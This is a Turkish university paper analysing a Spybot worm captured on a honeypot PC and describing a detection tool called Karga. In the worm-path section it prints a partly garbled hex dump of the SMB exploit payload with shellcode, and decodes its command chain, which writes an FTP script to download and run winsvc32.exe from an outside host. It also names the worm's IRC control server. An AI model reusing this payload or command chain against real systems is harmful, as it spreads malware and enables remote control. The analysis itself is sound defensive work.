

Bir Worm'un Anatomisi

Gökhan Akın, Asım Güneş

İstanbul Teknik Üniversitesi, Bilgi İşlem Daire Başkanlığı, 34360, İstanbul
gokhan.akin@itu.edu.tr, asim.gunes@itu.edu.tr

Özet: İstanbul Teknik Üniversitesi Ağında tespit edilmiş bir wormun çalışma mekanizması anlatılmaktadır. Ayrıca aynı mekanizma kullanılarak worm bulaşmış bir bilgisayarın nasıl tespit edilebileceği de anlatılmaktadır.

Anahtar Kelimeler: Worm, Exploit, DoS

Anatomy of A Worm

Abstract: Working mechanism of a worm, this was found out in Istanbul Technical University Network, was explained. Also how to detect the worm infected pc with using the same mechanism was explained.

Keywords: Worm, Exploit, DoS

1. Giriş

Son yıllarda klasik virüs yazılımları yerlerini direk ağ erişimi üzerinden veya eposta ile kendini bulaştırarak çoğalan worm yazılımlarına bırakmıştır. Wormların yarattığı istek dışı trafik özellikle kampüs ağları olmak üzere bütün internet alt yapısında ciddi bir bant genişliğini israf etmektedir. Bu sebeplerden dolayı bu çalışmada ağ tabanlı kendini bulaştıran bir wormun çalışma sistemi incelenecek ve buna karşı çözümler aranacaktır.

2. Wormlar

Worm kendini ağ üzerinden direk erişim veya e-postalar ile kendisini başka bilgisayarlara kopyalayıp bulaştığı yeni bilgisayarda kendisini aktive eden yazılımlardır. Kendisini başka sistemlere kopyalamasının yanı sıra wormlar yazılma amacına göre uzaktaki bir bilgisayardan emir alabilmekte veya bilgi sızdırabilmektedirler. Buradan da anlaşılacağı üzere bazı wormlar aynı zamanda trojen (Truva Atı) işlevini de taşıyabilmektedir. Trojen yazılımlar bir bilgisayarın ağ üzerindeki başka bir bilgisayar tarafından

yönetilmesini sağlayan yazılımlardır. Trojenler, cd-rom cihazının kapağını açmak gibi masum işlemler yapabileceği gibi, online-bankacılık şifrelerinin çalınmasına veya başka bir bilgisayara DoS atak yapmasına da sebep olabilirler.

Wormlar bulaştığı bilgisayara zarar vermesinin yanı sıra kendini bulaştırmak için yarattıkları trafik ile de bant genişliğinin israfına ve bütün ağ kullanıcılarının erişim kalitesinin düşmesine sebep olmaktadır. Ayrıca ağ cihazlarında gereksiz işlemci yüküne, daha da kötüsü toplu bir DoS atağı yapmaları durumunda bütün alt-yapıyı felç de edebilmektedirler.

Bu bildiride incelediğimiz worm türü kendisini ağ erişimi sayesinde başka bilgisayarlara bulaştıran bir wormdur. Bu tür wormlar kendisini bulaştırmak için hedef bilgisayarlardaki güvenlik açığını değerlendiren exploitlerden yararlanmaktadır.

3. Exploitler

İşletim sistemlerinin çok kullanıcı olmasından sonra kullanıcılar arasında farklı yetkilendirme

seviyeleri oluşturulmuştur. Bu seviyelendirme ile en yüksek yetkili kullanıcıya o bilgisayar ile ilgili bütün işlemleri yapabilme yetkisi verilmiştir. (Linux'de root kullanıcısı , Windows'da administrator kullanıcısı gibi) Diğer kullanıcılara ise sadece o kullanıcının sistemde ihtiyacı olan yetkiler verilmiştir. Zaman içinde yönetici yetkisi olmadığı halde o yetkileri elde etmek amacı ile exploit adı verilen sistemin zaaflarından yararlanan programlar yazılmıştır. Exploitler direk bu sistem üzerinde çalıştırılan dahili yazılımlar olabileceği gibi, ağ üzerindeki harici bir kaynaktan kullanılacak programlar olabilirler.

Hemen hemen her işletim sistemi için (Windows, Linux, FreeBSD, MacOS ..vs için) exploit yazılmıştır. Exploit işletim sisteminin genel mimarisindeki bir açıktan yararlanabileceği gibi, işletim sisteminin üzerine kurulmuş bir yazılımda bulunan bir açıktanda yararlanabilirler.

İstanbul Teknik Üniversitesi ağ altyapısında Windows bilgisayarlar çoğunlukta olduğu için bildiri kapsamında Windows 2000/XP işletim sistemine bulaşan bir exploit incelenmiştir.

4. Wormun Tespiti

Wormların nasıl dağıldığı ve neler yaptığı teori- de bilinse bile gereksiz trafik yayan bu yazılımların tam işleyiş prosedürünü incelemek amacı ile gereken güvenlik yamaları yapılmayan bir bilgisayar ağa dahil edilmiştir. Ağ erişimine taktığı ilk andan itibaren bilgisayara gelen ve bilgisayardan giden bütün trafik bir izleme yazılımı ile kaydedilmiştir. Bir süre sonra bilgisayarın ITU/NET IP adresi aralığına anlamsız bir şekilde paketler yaymaya başlamasını gözlemledikten sonra bilgisayarın ağ erişimi kesilip bütün giren ve çıkan paketler incelenmiştir.

5. Wormun İzlediği Yol

Worm'un Windows XP işletim sistemindeki 445. porttan çalışan SMB hizmetine saldırdığı gözlemlenmiştir. Worm SMB hizmetinde bulunan buffer over flow açığını kullanarak hedef makineye bazı komutlar çalıştırmıştır. [1] (Resim 1)

Wormun exploitten yararlanarak işlettiği komutlar Sırası ile:

```
000004CD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAA AAAAAAAAA
000004DD 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAA AAAA.##.
000004ED 0c 57 03 82 04 0a 00 90 42 90 42 90 42 90 42 90 2 81 .w..... B.B.B.B.
000004FD c4 54 f2 ff ff fc e8 46 00 00 00 00 00 00 00 8b 7c .T....F ...E<.|
0000050D 05 78 01 ef 8b 4f 18 8b 5f 20 00 00 00 00 00 00 9 8b .x...o. - ...I.
0000051D 34 8b 01 ee 31 c0 99 ac 84 c0 74 07 c1 ca 0d 01 4...1. .t....
0000052D c2 eb f4 3b 54 24 04 75 e3 8b 5f 24 01 eb 66 8b ...;T$. ...$.f.
0000053D 0c 4b 8b 5f 1c 01 eb 8b 1c 8b 01 eb 89 5c 24 04 .K.....$.
0000054D c3 31 c0 64 8b 40 30 85 c0 78 0f 8b 40 0c 8b 70 .1.d.@. ...@.p.
0000055D 1c ad 8b 68 08 e9 0b 00 00 00 8b 40 34 05 7c 00 ...h.... ..4.l.
0000056D 00 00 8b 68 3c 5f 31 f6 60 56 eb 0d 68 ef ce e0 ...h<1. `V.....
0000057D 60 68 98 fe 8a 0e 57 ff e7 e8 ee ff ff ff 63 6d `h....w. ....cm
0000058D 64 20 2f 63 20 65 63 68 6f 20 6f 70 65 6e 20 31 d /c ech o open l
0000059D 36 30 2e 37 35 2e 38 36 2e 34 31 20 37 36 39 30 60.75.86 .41 7690
000005AD 20 3e 3e 20 69 69 20 26 65 63 68 6f 20 75 73 65 >> ii & echo use
000005BD 72 20 31 20 31 20 3e 3e 20 69 69 20 26 65 63 68 r 1 1 >> ii &cho b
000005CD 6f 20 67 65 74 20 77 69 6e 73 76 63 33 32 2e 65 o get w! nsvc32.e
000005DD 78 65 20 3e 3e 20 69 69 20 26 65 63 68 6f 20 62 xe >> ii &cho b
000005ED 79 65 20 3e 3e 20 69 69 20 26 66 74 70 2d 6e ye >> ii &ftp -n
000005FD 20 2d 76 20 2d 73 3a 69 69 20 26 64 65 6c 20 69 -v -s:i i &del i
0000060D 69 20 26 77 69 6e 73 76 63 33 32 2e 65 78 65 0d i &w!nsv c32.exe.
0000061D 0a 00 42 42 42 42 42 42 42 42 42 42 42 42 42 ..BBBBB BBBBBBBB
0000062D 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 BBBBBBBB BBBBBBBB
0000063D 42 42 42 42 42 42 42 42 42 42 42 42 42 42 42 RRRR
```

Resim 1. Worm'un Kendi Bulaştırma Kısımı

- 1- cmd /c: Peşinden gelen dizini komut satırında çalıştır ve daha sonra pencereyi kapat.
- 2- Aşağıda belirtilmiş satırları sırası ile ii isimli yeni oluşturulan dosyanın içine yaz.

```
- echo open 160.75.200.200 7690 >> ii
- echo user 1 1 >> ii
- echo get winsvc32.exe >> ii
- echo bye >> ii
```

3- ftp -n -v -s:ii : ftp programını aşağıda detayları verilmiş parametrelerle aç.

```
"-n": Otomatik kullanıcı adı şifre sorma kısmını atla.
"-v": Bağlanılan sunucunun yolladığı yazıları atla.
"-s ii" : "ii" isimli dosyadaki komutları çalıştır. Yani 160.75.200.200 isimli sunucunun 7690inci portuna bağlan, kullanıcı adı şifre olarak 1 ve 1 ver. Winsvc32.exe isimli dosyayı ftp sunucusunda idir ve ftp programını kapat.
```

4- del ii : Ftp erisimde kullanılanı ii isimli dosyayı sil.

5- winsvc32.exe : Wormu çalıştır.

Wormun programcısı saldırılan makinedeki ftp yazılımını kullanarak kendini o makineye kopyalama üzerine bir sistem oluşturmuştur. Bu amaçla önce "ii" isminde bir dosyanın içinde ftp yazılımında çalıştıracağı bütün ko-

mutları yazdırmış daha sonrada ftp programını açtırıp bu satırları işletmektedir. Bunu sonucu kendisini yani "winsvc32.exe" dosyasını kopyalatmış ve kendini çalıştırmıştır. Son olarak ftp erişiminde kullandığı "ii" isimli dosyayı da silmiştir.

Gerçekten bağladığı ftp sunucusun çalışıp çalışmadığını anlamak için 7690inci portuna aynı kullanıcı adı ile wormu içeren bilgisayara bağlanılıp winsvc32.exe dosyasının var olduğunu tespit edilmiştir. Dosyayı indirilmesi ile beraber Norton Antivirus yazılımı bu dosyanın "W32.Spybot.Worm" isimli worm olduğunu ve 16 Nisan 2003'ten beri var olan bir worm'un türevi olduğunu belirtmiştir.[2]

Bu bilgi ışığında yapılan incelemede benzer wormların kendileri kopyalamak için ftp istemci yazılımın yanı sıra tftp ve telnet gibi araçları da kullandığı tespit edilmiştir.

Worm yeni bilgisayarda aktif hale geldikten sonra tutt.p0rr.org isimli siteye 7475 numaralı porttan bağlantı kurmuştur. Bağlantı sonrası sunucu ile irc haberleşmesine benzer bir haberleşme yapmaktadır. Emin olmak için aynı sunucuya bir irc istemci ile bağlanılmış gerçektende irc sunucusu olduğu tespit edilmiştir. (Resim 2)



Resim 2. Wormun Bağladığı IRC Sunucusu

Wormlu bilgisayar irc sunucusunda "PRIVMSG #renats :[SCAN]: Random Port Scan started on 160.75.x.x:2967 with a delay of 5 seconds for 0 minutes using 99 threads." şeklinde bir mesaj yollamış ve daha sonra bağlantıyı erişimi sonlandırmıştır. Hemen peşine 160.75.0.0 B sınıfı İTÜ/NET IP aralığına daki PC'lere raslansal bir şekilde 2967 portlarından SYN atak yapmaya başlamıştır. Buradan da anlaşıldığı üzere üzerinde çalıştığımız worm dışarıdaki bir sisteme bilgi sızdırabileceği gibi dışarıdaki bir sistemden emir alabilmektedir, yani aynı zamanda trojen karakteristiği göstermektedir.

6. Worma Karşı Çözüm

Worm yazılımlarının kullandığı aynı exploit kullanılarak bazı çözümler üretilebilir.



Bunlar güvenlik açığına sahip bilgisayarlarının belirlenmesi, kullanıcı bilgisayarında bir uyarı mesajı çıkartılması ve hatta açık bulunan bilgisayarlara kullanıcının haberi olmadan güvenlik yamasının yapılması olabilir. Bu amaçla İTÜ Bilgi İşlem Daire Başkanlığı dahilinde Karga isimli bir yazılım geliştirilmiştir. Programın ismi Worm yani Solucan yazılımlara karşı yazılmış bir program olmasından dolayı bu şekilde

de verilmiştir. Karga V1.0 ile güvenlik açığı bulunan bilgisayara sahipleri uzaktan uyarılabilmekte ve açık bulunan bilgisayarların listesi çıkartılabilmektedir. Şu anda sadece bu makale kapsamında bulunan worm'a karşı yazılmakta olup gelecekte modüler bir yapıya kavuşturulup daha çok güvenlik açığını kapsamı planlanmaktadır.

7. Sonuç

Worm yazılımları içerilerinde kendilerini klonlamak amacı temel bir ftp, tftp veya web sunucu barındırmaktadırlar. Ayrıca irc benzeri uzaktaki bir kaynak ile veri haberleşmesi yapabilecekleri bir istemci yazılımı da barındırmaktadırlar. Bu sayede kullanıcıdan istenilen her bilgi sızdırılabilmektedir. Bunun yanı sıra uzaktan wormlu bilgisayara istenilen her türlü emirde verilebilir hale gelmiştir. Bu sayesinde yüzlerce pcden oluşan bir DoS atak ordusu oluşturulabilir.

En kötüsü bir kere programlanmış bir worm daha sonra kodunda yapılacak çok küçük bir müdahale ile yeni exploitler için revize edilip tekrar tehdidini sürdürmeye devam etmektedir.

Wormlar ile sebep olunan durumda ciddi bir ulusal güvenlik sorunu oluşturmaktadır. Wormlu veya güvenlik açığı bulunan bilgisayarların tek tek tespiti yerine aynı exploitin kullanıcının uyarılması için kullanılması durumunda wormun ağdan temizlenme süresini çok kısaltmaktadır. Ancak bunun için sürekli yeni çıkan güvenlik açıkları takip edilmeli ve bir kütüphane oluşturulmalıdır. Bu amaç A.B.D.'de Ulusal CERT kurumlarının sponsorluğu ile Ulusal Güvenlik Açıkları Veritabanı oluşturulmuştur. [3] (National Vulnerability Database) Yeni güvenlik açıklarının ortaya çıkması ile yeni wormların çıkması sürekli devam edeceğinden kullanıcıları bu türden ulusal bir veritabanı oluşturacak bir birim oluşturulması ve kullanıcıları uyaracak bu türden yazılımlarda paralelinde geliştirilmesi çok faydalı olacaktır.

8. Kaynaklar

- [1]. Microsoft Security Bulletin MS03-049, <http://www.microsoft.com/technet/security/bulletin/MS03-049.mspx> , Microsoft Corp.
- [2]. W32.Spybot.Worm, http://www.symantec.com/security_response/writeup.jsp?docid=2003-053013-5943-99&tabid=1 , Symantec Corp.
- [3]. National Vulnerability Database, <http://nvd.nist.gov/> , National Institute of Standards and Technology.